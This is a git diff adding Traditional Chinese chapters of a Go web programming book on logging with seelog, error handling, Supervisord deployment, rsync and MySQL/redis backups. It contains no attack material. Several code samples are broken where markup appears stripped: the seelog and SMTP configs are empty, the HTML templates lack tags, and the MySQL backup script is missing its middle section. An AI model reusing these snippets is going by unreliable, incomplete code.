"github.com/cihub/seelog" + +func main() { + defer log.Flush() + log.Info("Hello from Seelog!") +} +``` + +編譯後執行如果出現了`Hello from seelog`,說明 seelog 日誌系統已經成功安裝並且可以正常運行了。 + +### 基於 seelog 的自訂日誌處理 +seelog 支援自訂日誌處理,下面是我基於它自訂的日誌處理套件的部分內容: + +```Go + +package logs + +import ( + // "errors" + "fmt" + // "io" + + seelog "github.com/cihub/seelog" +) + +var Logger seelog.LoggerInterface + +func loadAppConfig() { + appConfig := ` + + + + + + + + + + + + + + + + +` + logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig)) + if err != nil { + fmt.Println(err) + return + } + UseLogger(logger) +} + +func init() { + DisableLog() + loadAppConfig() +} + +// DisableLog disables all library log output +func DisableLog() { + Logger = seelog.Disabled +} + +// UseLogger uses a specified seelog.LoggerInterface to output library log. +// Use this func if you are using Seelog logging system in your app. +func UseLogger(newLogger seelog.LoggerInterface) { + Logger = newLogger +} +``` +上面主要實現了三個函式, + +- `DisableLog` + + 初始化全域性變數 Logger 為 seelog 的禁用狀態,主要為了防止 Logger 被多次初始化 +- `loadAppConfig` + + 根據配置檔案初始化 seelog 的配置資訊,這裡我們把配置檔案透過字串讀取設定好了,當然也可以透過讀取 XML 檔案。裡面的配置說明如下: + + - seelog + + minlevel 參數可選,如果被配置,高於或等於此級別的日誌會被記錄,同理 maxlevel。 + - outputs + + 輸出資訊的目的地,這裡分成了兩份資料,一份記錄到 log rotate 檔案裡面。另一份設定了 filter,如果這個錯誤級別是 critical,那麼將傳送報警郵件。 + + - formats + + 定義了各種日誌的格式 + +- `UseLogger` + + 設定當前的日誌器為相應的日誌處理 + +上面我們定義了一個自訂的日誌處理套件,下面就是使用範例: + +```Go + +package main + +import ( + "net/http" + "project/logs" + "project/configs" + "project/routes" +) + +func main() { + addr, _ := configs.MainConfig.String("server", "addr") + logs.Logger.Info("Start server at:%v", addr) + err := http.ListenAndServe(addr, routes.NewMux()) + logs.Logger.Critical("Server err:%v", err) +} +``` +## 發生錯誤傳送郵件 +上面的例子解釋了如何設定傳送郵件,我們透過如下的 smtp 配置用來發送郵件: +```html + + + + +``` +郵件的格式透過 criticalemail 配置,然後透過其他的配置傳送郵件伺服器的配置,透過 recipient 配置接收郵件的使用者,如果有多個使用者可以再新增一行。 + +要測試這個程式碼是否正常工作,可以在程式碼中增加類似下面的一個假訊息。不過記住過後要把它刪除,否則上線之後就會收到很多垃圾郵件。 + +```Go + +logs.Logger.Critical("test Critical message") +``` +現在,只要我們的應用在線上記錄一個 Critical 的資訊,你的郵箱就會收到一個 Email,這樣一旦線上的系統出現問題,你就能立馬透過郵件獲知,就能及時的進行處理。 +## 使用應用日誌 +對於應用日誌,每個人的應用場景可能會各不相同,有些人利用應用日誌來做資料分析,有些人利用應用日誌來做效能分析,有些人來做使用者行為分析,還有些就是純粹的記錄,以方便應用出現問題的時候輔助查詢問題。 + +舉一個例子,我們需要追蹤使用者嘗試登陸系統的操作。這裡會把成功與不成功的嘗試都記錄下來。記錄成功的使用"Info"日誌級別,而不成功的使用"warn"級別。如果想查詢所有不成功的登陸,我們可以利用 linux 的 grep 之類別的命令工具,如下: + +```Go + +# cat /data/logs/roll.log | grep "failed login" +2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password +``` +透過這種方式我們就可以很方便的查詢相應的資訊,這樣有利於我們針對應用日誌做一些統計和分析。另外我們還需要考慮日誌的大小,對於一個高流量的 Web 應用來說,日誌的增長是相當可怕的,所以我們在 seelog 的配置檔案裡面設定了 logrotate,這樣就能保證日誌檔案不會因為不斷變大而導致我們的磁碟空間不夠引起問題。 + +## 小結 +透過上面對 seelog 系統及如何基於它進行自訂日誌系統的學習,現在我們可以很輕鬆的隨需建構一個合適的功能強大的日誌處理系統了。日誌處理系統為資料分析提供了可靠的資料來源,比如透過對日誌的分析,我們可以進一步優化系統,或者應用出現問題時方便查詢定位問題,另外 seelog 也提供了日誌分級功能,透過對 minlevel 的配置,我們可以很方便的設定測試或釋出版本的輸出訊息級別。 + +## links + * [目錄]() + * 上一節:[部署與維護](<12.0.md>) + * 下一節:[網站錯誤處理](<12.2.md>) diff --git a/zh-tw/12.2.md b/zh-tw/12.2.md new file mode 100644 index 000000000..9c9d8e8a9 --- /dev/null +++ b/zh-tw/12.2.md @@ -0,0 +1,137 @@ + +# 12.2 網站錯誤處理 +我們的 Web 應用一旦上線之後,那麼各種錯誤出現的概率都有,Web 應用日常執行中可能出現多種錯誤,具體如下所示: + +- 資料庫錯誤:指與訪問資料庫伺服器或資料相關的錯誤。例如,以下可能出現的一些資料庫錯誤。 + + - 連線錯誤:這一類別錯誤可能是資料庫伺服器網路斷開、使用者名稱密碼不正確、或者資料庫不存在。 + - 查詢錯誤:使用的 SQL 非法導致錯誤,這樣子 SQL 錯誤如果程式經過嚴格的測試應該可以避免。 + - 資料錯誤:資料庫中的約束衝突,例如一個唯一欄位中插入一條重複主鍵的值就會報錯,但是如果你的應用程式在上線之前經過了嚴格的測試也是可以避免這類別問題。 +- 應用執行時錯誤:這類別錯誤範圍很廣,涵蓋了程式碼中出現的幾乎所有錯誤。可能的應用錯誤的情況如下: + + - 檔案系統和許可權:應用讀取不存在的檔案,或者讀取沒有許可權的檔案、或者寫入一個不允許寫入的檔案,這些都會導致一個錯誤。應用讀取的檔案如果格式不正確也會報錯,例如配置檔案應該是 ini 的配置格式,而設定成了 json 格式就會報錯。 + - 第三方應用:如果我們的應用程式耦合了其他第三方介面程式,例如應用程式發表文章之後自動呼叫接發微博的介面,所以這個介面必須正常執行才能完成我們發表一篇文章的功能。 + +- HTTP 錯誤:這些錯誤是根據使用者的請求出現的錯誤,最常見的就是 404 錯誤。雖然可能會出現很多不同的錯誤,但其中比較常見的錯誤還有 401 未授權錯誤(需要認證才能訪問的資源)、403 禁止錯誤(不允許使用者訪問的資源)和 503 錯誤(程式內部出錯)。 +- 作業系統出錯:這類別錯誤都是由於應用程式上的作業系統出現錯誤引起的,主要有作業系統的資源被分配完了,導致宕機,還有作業系統的磁碟滿了,導致無法寫入,這樣就會引起很多錯誤。 +- 網路出錯:指兩方面的錯誤,一方面是使用者請求應用程式的時候出現網路斷開,這樣就導致連線中斷,這種錯誤不會造成應用程式的崩潰,但是會影響使用者訪問的效果;另一方面是應用程式讀取其他網路上的資料,其他網路斷開會導致讀取失敗,這種需要對應用程式做有效的測試,能夠避免這類別問題出現的情況下程式崩潰。 + +## 錯誤處理的目標 +在實現錯誤處理之前,我們必須明確錯誤處理想要達到的目標是什麼,錯誤處理系統應該完成以下工作: + +- 通知訪問使用者出現錯誤了:不論出現的是一個系統錯誤還是使用者錯誤,使用者都應當知道 Web 應用出了問題,使用者的這次請求無法正確的完成了。例如,對於使用者的錯誤請求,我們顯示一個統一的錯誤頁面(404.html)。出現系統錯誤時,我們透過自訂的錯誤頁面顯示系統暫時不可用之類別的錯誤頁面(error.html)。 +- 記錄錯誤:系統出現錯誤,一般就是我們呼叫函式的時候回傳 err 不為 nil 的情況,可以使用前面小節介紹的日誌系統記錄到日誌檔案。如果是一些致命錯誤,則透過郵件通知系統管理員。一般 404 之類別的錯誤不需要傳送郵件,只需要記錄到日誌系統。 +- 回復 (Rollback)當前的請求操作:如果一個使用者請求過程中出現了一個伺服器錯誤,那麼已完成的操作需要回復 (Rollback)。下面來看一個例子:一個系統將使用者提交的表單儲存到資料庫,並將這個資料提交到一個第三方伺服器,但是第三方伺服器掛了,這就導致一個錯誤,那麼先前儲存到資料庫的表單資料應該刪除(應告知無效),而且應該通知使用者系統出現錯誤了。 +- 保證現有程式可執行可服務:我們知道沒有人能保證程式一定能夠一直正常的執行著,萬一哪一天程式崩潰了,那麼我們就需要記錄錯誤,然後立刻讓程式重新執行起來,讓程式繼續提供服務,然後再通知系統管理員,透過日誌等找出問題。 + +## 如何處理錯誤 +錯誤處理其實我們已經在十一章第一小節裡面有過介紹如何設計錯誤處理,這裡我們再從一個例子詳細的講解一下,如何來處理不同的錯誤: + +- 通知使用者出現錯誤: + + 通知使用者在訪問頁面的時候我們可以有兩種錯誤:404.html 和 error.html,下面分別顯示了錯誤頁面的原始碼: + +```html + + + + + 找不到頁面 + + + + +
+
+
+
+

404!

+

{{.ErrorInfo}}

+
+
+
+
+ + +``` + 另一個原始碼: + +```html + + + + + 系統錯誤頁面 + + + + +
+
+
+
+

系統暫時不可用!

+

{{.ErrorInfo}}

+
+
+
+
+ + +``` + + 404 的錯誤處理邏輯,如果是系統的錯誤也是類似的操作,同時我們看到在: + +```Go + + func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + NotFound404(w, r) + return + } + + func NotFound404(w http.ResponseWriter, r *http.Request) { + log.Error("頁面找不到") //記錄錯誤日誌 + t, _ = t.ParseFiles("tmpl/404.html", nil) //解析範本檔案 + ErrorInfo := "檔案找不到" //取得當前報錯資訊 + t.Execute(w, ErrorInfo) //執行範本的 merger 操作 + } + + func SystemError(w http.ResponseWriter, r *http.Request) { + log.Critical("系統錯誤") //系統錯誤觸發了 Critical,那麼不僅會記錄日誌還會發送郵件 + t, _ = t.ParseFiles("tmpl/error.html", nil) //解析範本檔案 + ErrorInfo := "系統暫時不可用" //取得當前報錯資訊 + t.Execute(w, ErrorInfo) //執行範本的 merger 操作 + } +``` + +## 如何處理異常 +我們知道在很多其他語言中有 try...catch 關鍵詞,用來捕獲異常情況,但是其實很多錯誤都是可以預期發生的,而不需要異常處理,應該當做錯誤來處理,這也是為什麼 Go 語言採用了函式回傳錯誤的設計,這些函式不會 panic,例如如果一個檔案找不到,os.Open 回傳一個錯誤,它不會 panic;如果你向一箇中斷的網路連線寫資料,net.Conn 系列型別的 Write 函式回傳一個錯誤,它們不會 panic。這些狀態在這樣的程式裡都是可以預期的。你知道這些操作可能會失敗,因為設計者已經用回傳錯誤清楚地表明了這一點。這就是上面所講的可以預期發生的錯誤。 + +但是還有一種情況,有一些操作幾乎不可能失敗,而且在一些特定的情況下也沒有辦法回傳錯誤,也無法繼續執行,這樣情況就應該 panic。舉個例子:如果一個程式計算 x[j],但是 j 越界了,這部分程式碼就會導致 panic,像這樣的一個不可預期嚴重錯誤就會引起 panic,在預設情況下它會殺掉程序,它允許一個正在執行這部分程式碼的 goroutine 從發生錯誤的 panic 中恢復執行,發生 panic 之後,這部分程式碼後面的函式和程式碼都不會繼續執行,這是 Go 特意這樣設計的,因為要區別於錯誤和異常,panic 其實就是異常處理。如下程式碼,我們期望透過 uid 來取得 User 中的 username 資訊,但是如果 uid 越界了就會丟擲異常,這個時候如果我們沒有 recover 機制,程序就會被殺死,從而導致程式不可服務。因此為了程式的健壯性,在一些地方需要建立 recover 機制。 + +```Go + +func GetUser(uid int) (username string) { + defer func() { + if x := recover(); x != nil { + username = "" + } + }() + + username = User[uid] + return +} +``` +上面介紹了錯誤和異常的區別,那麼我們在開發程式的時候如何來設計呢?規則很簡單:如果你定義的函式有可能失敗,它就應該回傳一個錯誤。當我呼叫其他 package 的函式時,如果這個函式實現的很好,我不需要擔心它會 panic,除非有真正的異常情況發生,即使那樣也不應該是我去處理它。而 panic 和 recover 是針對自己開發 package 裡面實現的邏輯,針對一些特殊情況來設計。 + +## 小結 +本小節總結了當我們的 Web 應用部署之後如何處理各種錯誤:網路錯誤、資料庫錯誤、作業系統錯誤等,當錯誤發生時,我們的程式如何來正確處理:顯示友好的出錯介面、回復 (Rollback)操作、記錄日誌、通知管理員等操作,最後介紹了如何來正確處理錯誤和異常。一般的程式中錯誤和異常很容易混淆的,但是在 Go 中錯誤和異常是有明顯的區分,所以告訴我們在程式設計中處理錯誤和異常應該遵循怎麼樣的原則。 +## links + * [目錄]() + * 上一節:[應用日誌](<12.1.md>) + * 下一節:[應用部署](<12.3.md>) + diff --git a/zh-tw/12.3.md b/zh-tw/12.3.md new file mode 100644 index 000000000..67be6d8af --- /dev/null +++ b/zh-tw/12.3.md @@ -0,0 +1,192 @@ +# 12.3 應用部署 +程式開發完畢之後,我們現在要部署 Web 應用程式了,但是我們如何來部署這些應用程式呢?因為 Go 程式編譯之後是一個可執行檔案,編寫過 C 程式的讀者一定知道採用 daemon 就可以完美的實現程式後臺持續執行,但是目前 Go 還無法完美的實現 daemon,因此,針對 Go 的應用程式部署,我們可以利用第三方工具來管理,第三方的工具有很多,例如 Supervisord、upstart、daemontools 等,這小節我介紹目前自己系統中採用的工具 Supervisord。 +## daemon +目前 Go 程式還不能實現 daemon,詳細的見這個 Go 語言的 bug:<`http://code.google.com/p/go/issues/detail?id=227`>,大概的意思說很難從現有的使用的執行緒中 fork 一個出來,因為沒有一種簡單的方法來確保所有已經使用的執行緒的狀態一致性問題。 + +但是我們可以看到很多網上的一些實現 daemon 的方法,例如下面兩種方式: + +- MarGo 的一個實現思路,使用 Command 來執行自身的應用,如果真想實現,那麼推薦這種方案 + +```Go + +d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)") +if *d { + cmd := exec.Command(os.Args[0], + "-close-fds", + "-addr", *addr, + "-call", *call, + ) + serr, err := cmd.StderrPipe() + if err != nil { + log.Fatalln(err) + } + err = cmd.Start() + if err != nil { + log.Fatalln(err) + } + s, err := ioutil.ReadAll(serr) + s = bytes.TrimSpace(s) + if bytes.HasPrefix(s, []byte("addr: ")) { + fmt.Println(string(s)) + cmd.Process.Release() + } else { + log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err) + cmd.Process.Kill() + } +} +``` + +- 另一種是利用 syscall 的方案,但是這個方案並不完善: + +```Go + +package main + +import ( + "log" + "os" + "syscall" +) + +func daemon(nochdir, noclose int) int { + var ret, ret2 uintptr + var err uintptr + + darwin := syscall.OS == "darwin" + + // already a daemon + if syscall.Getppid() == 1 { + return 0 + } + + // fork off the parent process + ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0) + if err != 0 { + return -1 + } + + // failure + if ret2 < 0 { + os.Exit(-1) + } + + // handle exception for darwin + if darwin && ret2 == 1 { + ret = 0 + } + + // if we got a good PID, then we call exit the parent process. + if ret > 0 { + os.Exit(0) + } + + /* Change the file mode mask */ + _ = syscall.Umask(0) + + // create a new SID for the child process + s_ret, s_errno := syscall.Setsid() + if s_errno != 0 { + log.Printf("Error: syscall.Setsid errno: %d", s_errno) + } + if s_ret < 0 { + return -1 + } + + if nochdir == 0 { + os.Chdir("/") + } + + if noclose == 0 { + f, e := os.OpenFile("/dev/null", os.O_RDWR, 0) + if e == nil { + fd := f.Fd() + syscall.Dup2(fd, os.Stdin.Fd()) + syscall.Dup2(fd, os.Stdout.Fd()) + syscall.Dup2(fd, os.Stderr.Fd()) + } + } + + return 0 +} +``` + +上面提出了兩種實現 Go 的 daemon 方案,但是我還是不推薦大家這樣去實現,因為官方還沒有正式的宣佈支援 daemon,當然第一種方案目前來看是比較可行的,而且目前開源函式庫 skynet 也在採用這個方案做 daemon。 + +## Supervisord +上面已經介紹了 Go 目前是有兩種方案來實現他的 daemon,但是官方本身還不支援這一塊,所以還是建議大家採用第三方成熟工具來管理我們的應用程式,這裡我給大家介紹一款目前使用比較廣泛的程序管理軟體:Supervisord。Supervisord 是用 Python 實現的一款非常實用的程序管理工具。supervisord 會幫你把管理的應用程式轉成 daemon 程式,而且可以方便的透過命令開啟、關閉、重啟等操作,而且它管理的程序一旦崩潰會自動重啟,這樣就可以保證程式執行中斷後的情況下有自我修復的功能。 + +>我前面在應用中踩過一個坑,就是因為所有的應用程式都是由 Supervisord 父程序生出來的,那麼當你修改了作業系統的檔案描述符之後,別忘記重啟 Supervisord,光重啟下面的應用程式沒用。當初我就是系統安裝好之後就先裝了 Supervisord,然後開始部署程式,修改檔案描述符,重啟程式,以為檔案描述符已經是 100000 了,其實 Supervisord 這個時候還是預設的 1024 個,導致他管理的程序所有的描述符也是 1024.開放之後壓力一上來系統就開始報檔案描述符用光了,查了很久才找到這個坑。 + +### Supervisord 安裝 +Supervisord 可以透過`sudo easy_install supervisor`安裝,當然也可以透過 Supervisord 官網下載後解壓並轉到原始碼所在的資料夾下執行`setup.py install`來安裝。 + +- 使用 easy_install 必須安裝 setuptools + + + 開啟`http://pypi.python.org/pypi/setuptools#files`,根據你係統的 python 的版本下載相應的檔案,然後執行`sh setuptoolsxxxx.egg`,這樣就可以使用 easy_install 命令來安裝 Supervisord。 + +### Supervisord 配置 +Supervisord 預設的配置檔案路徑為/etc/supervisord.conf,透過文字編輯器修改這個檔案,下面是一個範例的配置檔案: + +```conf + +;/etc/supervisord.conf +[unix_http_server] +file = /var/run/supervisord.sock +chmod = 0777 +chown= root:root + +[inet_http_server] +# Web 管理介面設定 +port=9001 +username = admin +password = yourpassword + +[supervisorctl] +; 必須和'unix_http_server'裡面的設定匹配 +serverurl = unix:///var/run/supervisord.sock + +[supervisord] +logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log) +logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB) +logfile_backups=10 ; (num of main logfile rotation backups;default 10) +loglevel=info ; (log level;default info; others: debug,warn,trace) +pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid) +nodaemon=true ; (start in foreground if true;default false) +minfds=1024 ; (min. avail startup file descriptors;default 1024) +minprocs=200 ; (min. avail process descriptors;default 200) +user=root ; (default is current user, required if root) +childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP) + +[rpcinterface:supervisor] +supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface + +; 管理的單個程序的配置,可以新增多個 program + +[program:blogdemon] +command=/data/blog/blogdemon +autostart = true +startsecs = 5 +user = root +redirect_stderr = true +stdout_logfile = /var/log/supervisord/blogdemon.log +``` + +### Supervisord 管理 +Supervisord 安裝完成後有兩個可用的命令列 supervisor 和 supervisorctl,命令使用解釋如下: + +- supervisord,初始啟動 Supervisord,啟動、管理配置中設定的程序。 +- supervisorctl stop programxxx,停止某一個程序(programxxx),programxxx 為 [program:blogdemon] 裡配置的值,這個範例就是 blogdemon。 +- supervisorctl start programxxx,啟動某個程序 +- supervisorctl restart programxxx,重啟某個程序 +- supervisorctl stop all,停止全部程序,注:start、restart、stop 都不會載入最新的配置檔案。 +- supervisorctl reload,載入最新的配置檔案,並按新的配置啟動、管理所有程序。 + +## 小結 +這小節我們介紹了 Go 如何實現 daemon 化,但是由於目前 Go 的 daemon 實現的不足,需要依靠第三方工具來實現應用程式的 daemon 管理的方式,所以在這裡介紹了一個用 python 寫的程序管理工具 Supervisord,透過 Supervisord 可以很方便的把我們的 Go 應用程式管理起來。 + + +## links + * [目錄]() + * 上一節:[網站錯誤處理](<12.2.md>) + * 下一節:[備份和還原](<12.4.md>) diff --git a/zh-tw/12.4.md b/zh-tw/12.4.md new file mode 100644 index 000000000..92cf65d4e --- /dev/null +++ b/zh-tw/12.4.md @@ -0,0 +1,176 @@ +# 12.4 備份和還原 +這小節我們要討論應用程式管理的另一個方面:生產伺服器上資料的備份和還原。我們經常會遇到生產伺服器的網路斷了、硬碟壞了、作業系統崩潰、或者資料庫不可用了等各種異常情況,所以維護人員需要對生產伺服器上的應用和資料做好異地災備,冷備熱備的準備。在接下來的介紹中,講解了如何備份應用、如何備份/還原 Mysql 資料庫和 redis 資料庫。 + +## 應用備份 +在大多數叢集環境下,Web 應用程式基本不需要備份,因為這個其實就是一個程式碼副本,我們在本地開發環境中,或者版本控制系統中已經保持這些程式碼。但是很多時候,一些開發的站點需要使用者來上傳檔案,那麼我們需要對這些使用者上傳的檔案進行備份。目前其實有一種合適的做法就是把和網站相關的需要儲存的檔案儲存到雲儲存,這樣即使系統崩潰,只要我們的檔案還在雲端儲存上,至少資料不會丟失。 + +如果我們沒有采用雲儲存的情況下,如何做到網站的備份呢?這裡我們介紹一個檔案同步工具 rsync:rsync 能夠實現網站的備份,不同系統的檔案的同步,如果是 windows 的話,需要 windows 版本 cwrsync。 + +### rsync 安裝 +rysnc 的官方網站:http://rsync.samba.org/ 可以從上面取得最新版本的原始碼。當然,因為 rsync 是一款非常有用的軟體,所以很多 Linux 的發行版本都將它收錄在內了。 + +軟體套件安裝 + + # sudo apt-get install rsync 注:在 debian、ubuntu 等線上安裝方法; + # yum install rsync 注:Fedora、Redhat、CentOS 等線上安裝方法; + # rpm -ivh rsync 注:Fedora、Redhat、CentOS 等 rpm 套件安裝方法; + +其它 Linux 發行版,請用相應的軟體套件管理方法來安裝。原始碼套件安裝 + + tar xvf rsync-xxx.tar.gz + cd rsync-xxx + ./configure --prefix=/usr ;make ;make install 注:在用原始碼套件編譯安裝之前,您得安裝 gcc 等編譯工具才行; + +### rsync 配置 +rsync 主要有以下三個配置檔案 rsyncd.conf(主配置檔案)、rsyncd.secrets(密碼檔案)、rsyncd.motd(rysnc 伺服器資訊)。 + +關於這幾個檔案的配置大家可以參考官方網站或者其他介紹 rsync 的網站,下面介紹伺服器端和客戶端如何開啟 + +- 伺服器端開啟: + + #/usr/bin/rsync --daemon --config=/etc/rsyncd.conf + + --daemon 參數方式,是讓 rsync 以伺服器模式執行。把 rsync 加入開機啟動 + + echo 'rsync --daemon' >> /etc/rc.d/rc.local + + 設定 rsync 密碼 + + echo '你的使用者名稱 : 你的密碼' > /etc/rsyncd.secrets + chmod 600 /etc/rsyncd.secrets + + +- 客戶端同步: + + 客戶端可以透過如下命令同步伺服器上的檔案: + + rsync -avzP --delete --password-file=rsyncd.secrets 使用者名稱@192.168.145.5::www /var/rsync/backup + + 這條命令,簡要的說明一下幾個要點: + + 1. -avzP 是啥,讀者可以使用--help 檢視 + 2. --delete 是為了比如 A 上刪除了一個檔案,同步的時候,B 會自動刪除相對應的檔案 + 3. --password-file 客戶端中/etc/rsyncd.secrets 設定的密碼,要和伺服器端的 /etc/rsyncd.secrets 中的密碼一樣,這樣 cron 執行的時候,就不需要密碼了 + 4. 這條命令中的"使用者名稱"為伺服器端的 /etc/rsyncd.secrets 中的使用者名稱 + 5. 這條命令中的 192.168.145.5 為伺服器端的 IP 地址 + 6. ::www,注意是 2 個 : 號,www 為伺服器端的配置檔案 /etc/rsyncd.conf 中的[www],意思是根據伺服器端上的/etc/rsyncd.conf 來同步其中的 [www] 段內容,一個 : 號的時候,用於不根據配置檔案,直接同步指定目錄。 + + 為了讓同步即時性,可以設定 crontab,保持 rsync 每分鐘同步,當然使用者也可以根據檔案的重要程度設定不同的同步頻率。 + + +## MySQL 備份 +應用資料庫目前還是 MySQL 為主流,目前 MySQL 的備份有兩種方式:熱備份和冷備份,熱備份目前主要是採用 master/slave 方式(master/slave 方式的同步目前主要用於資料庫讀寫分離,也可以用於熱備份資料),關於如何配置這方面的資料,大家可以找到很多。冷備份的話就是資料有一定的延遲,但是可以保證該時間段之前的資料完整,例如有些時候可能我們的誤操作引起了資料的丟失,那麼 master/slave 模式是無法找回丟失資料的,但是透過冷備份可以部分還原資料。 + +冷備份一般使用 shell 指令碼來實現定時備份資料庫,然後透過上面介紹 rsync 同步非本地機房的一臺伺服器。 + +下面這個是定時備份 mysql 的備份指令碼,我們使用了 mysqldump 程式,這個命令可以把資料庫匯出到一個檔案中。 + + #!/bin/bash + + # 以下配置資訊請自己修改 + mysql_user="USER" #MySQL 備份使用者 + mysql_password="PASSWORD" #MySQL 備份使用者的密碼 + mysql_host="localhost" + mysql_port="3306" + mysql_charset="utf8" #MySQL 編碼 + backup_db_arr=("db1" "db2") #要備份的資料庫名稱,多個用空格分開隔開 如("db1" "db2" "db3") + backup_location=/var/www/mysql #備份資料存放位置,末尾請不要帶"/",此項可以保持預設,程式會自動建立資料夾 + expire_backup_delete="ON" #是否開啟過期備份刪除 ON 為開啟 OFF 為關閉 + expire_days=3 #過期時間天數 預設為三天,此項只有在 expire_backup_delete 開啟時有效 + + # 本行開始以下不需要修改 + backup_time=`date +%Y%m%d%H%M` #定義備份詳細時間 + backup_Ymd=`date +%Y-%m-%d` #定義備份目錄中的年月日時間 + backup_3ago=`date -d '3 days ago' +%Y-%m-%d` #3 天之前的日期 + backup_dir=$backup_location/$backup_Ymd #備份資料夾全路徑 + welcome_msg="Welcome to use MySQL backup tools!" #歡迎語 + + # 判斷 MYSQL 是否啟動,mysql 沒有啟動則備份退出 + mysql_ps=`ps -ef |grep mysql |wc -l` + mysql_listen=`netstat -an |grep LISTEN |grep $mysql_port|wc -l` + if [ [$mysql_ps == 0] -o [$mysql_listen == 0] ]; then + echo "ERROR:MySQL is not running! backup stop!" + exit + else + echo $welcome_msg + fi + + # 連線到 mysql 資料庫,無法連線則備份退出 + mysql -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_password < $backup_dir/$dbname-$backup_time.sql.gz` + flag=`echo $?` + if [ $flag == "0" ];then + echo "database $dbname success backup to $backup_dir/$dbname-$backup_time.sql.gz" + else + echo "database $dbname backup fail!" + fi + + done + else + echo "ERROR:No database to backup! backup stop" + exit + fi + # 如果開啟了刪除過期備份,則進行刪除操作 + if [ "$expire_backup_delete" == "ON" -a "$backup_location" != "" ];then + #`find $backup_location/ -type d -o -type f -ctime +$expire_days -exec rm -rf {} \;` + `find $backup_location/ -type d -mtime +$expire_days | xargs rm -rf` + echo "Expired backup data delete complete!" + fi + echo "All database backup success! Thank you!" + exit + fi + +修改 shell 指令碼的屬性: + + chmod 600 /root/mysql_backup.sh + chmod +x /root/mysql_backup.sh + +設定好屬性之後,把命令加入 crontab,我們設定了每天 00:00 定時自動備份,然後把備份的指令碼目錄/var/www/mysql 設定為 rsync 同步目錄。 + + 00 00 * * * /root/mysql_backup.sh + +## MySQL 還原 +前面介紹 MySQL 備份分為熱備份和冷備份,熱備份主要的目的是為了能夠即時的還原,例如應用伺服器出現了硬碟故障,那麼我們可以透過修改配置檔案把資料庫的讀取和寫入改成 slave,這樣就可以儘量少時間的中斷服務。 + +但是有時候我們需要透過冷備份的 SQL 來進行資料還原,既然有了資料庫的備份,就可以透過命令匯入: + + mysql -u username -p databse < backup.sql + +可以看到,匯出和匯入資料庫資料都是相當簡單,不過如果還需要管理許可權,或者其他的一些字符集的設定的話,可能會稍微複雜一些,但是這些都是可以透過一些命令來完成的。 + +## redis 備份 + +redis 是目前我們使用最多的 NoSQL,它的備份也分為兩種:熱備份和冷備份,redis 也支援 master/slave 模式,所以我們的熱備份可以透過這種方式實現,相應的配置大家可以參考官方的文件配置,相當的簡單。我們這裡介紹冷備份的方式:redis 其實會定時的把記憶體裡面的快取資料儲存到資料庫檔案裡面,我們備份只要備份相應的檔案就可以,就是利用前面介紹的 rsync 備份到非本地機房就可以實現。 + +## redis 還原 + +redis 的還原分為熱備份還原和冷備份還原,熱備份還原的目的和方法同 MySQL 的還原一樣,只要修改應用的相應的資料庫連線即可。 + +但是有時候我們需要根據冷備份來還原資料,redis 的冷備份還原其實就是隻要把儲存的資料庫檔案 copy 到 redis 的工作目錄,然後啟動 redis 就可以了,redis 在啟動的時候會自動載入資料庫檔案到記憶體中,啟動的速度根據資料庫的檔案大小來決定。 + +## 小結 +本小節介紹了我們的應用部分的備份和還原,即如何做好災備,包括檔案的備份、資料庫的備份。同時也介紹了使用 rsync 同步不同系統的檔案,MySQL 資料庫和 redis 資料庫的備份和還原,希望透過本小節的介紹,能夠給作為開發的你對於線上產品的災備方案提供一個參考方案。 + +## links + * [目錄]() + * 上一節:[應用部署](<12.3.md>) + * 下一節:[小結](<12.5.md>) diff --git a/zh-tw/12.5.md b/zh-tw/12.5.md new file mode 100644 index 000000000..49524695f --- /dev/null +++ b/zh-tw/12.5.md @@ -0,0 +1,18 @@ +# 12.5 小結 +本章討論了如何部署和維護我們開發的 Web 應用相關的一些話題。這些內容非常重要,要建立一個能夠基於最小維護平滑執行的應用,必須考慮這些問題。 + +具體而言,本章討論的內容包括: + +- 建立一個強健的日誌系統,可以在出現問題時記錄錯誤並且通知系統管理員 +- 處理執行時可能出現的錯誤,包括記錄日誌,並如何友好的顯示給使用者系統出現了問題 +- 處理 404 錯誤,告訴使用者請求的頁面找不到 +- 將應用部署到一個生產環境中(包括如何部署更新) +- 如何讓部署的應用程式具有高可用 +- 備份和還原檔案以及資料庫 + +讀完本章內容後,對於從頭開始開發一個 Web 應用需要考慮那些問題,你應該已經有了全面的了解。本章內容將有助於你在實際環境中管理前面各章介紹開發的程式碼。 + +## links + * [目錄]() + * 上一節:[備份和還原](<12.4.md>) + * 下一章:[如何設計一個 Web 框架](<13.0.md>) diff --git a/zh-tw/13.0.md b/zh-tw/13.0.md new file mode 100644 index 000000000..c92ff13c1 --- /dev/null +++ b/zh-tw/13.0.md @@ -0,0 +1,12 @@ +# 13 如何設計一個 Web 框架 +前面十二章介紹了如何透過 Go 來開發 Web 應用,介紹了很多基礎知識、開發工具和開發技巧,那麼我們這一章透過這些知識來實現一個簡易的 Web 框架。透過 Go 語言來實現一個完整的框架設計,這框架中主要內容有第一小節介紹的 Web 框架的結構規劃,例如採用 MVC 模式來進行開發,程式的執行流程設計等內容;第二小節介紹框架的第一個功能:路由,如何讓訪問的 URL 對映到相應的處理邏輯;第三小節介紹處理邏輯,如何設計一個公共的 controller,物件繼承之後處理函式中如何處理 response 和 request;第四小節介紹框架的一些輔助功能,例如日誌處理、配置資訊等;第五小節介紹如何基於 Web 框架實現一個部落格,包括博文的發表、修改、刪除、顯示列表等操作。 + +透過這麼一個完整的專案例子,我期望能夠讓讀者了解如何開發 Web 應用,如何建立自己的目錄結構,如何實現路由,如何實現 MVC 模式等各方面的開發內容。在框架盛行的今天,MVC 也不再是神話。經常聽到很多程式設計師討論哪個框架好,哪個框架不好, 其實框架只是工具,沒有好與不好,只有適合與不適合,適合自己的就是最好的,所以教會大家自己動手寫框架,那麼不同的需求都可以用自己的思路去實現。 + +## 目錄 + 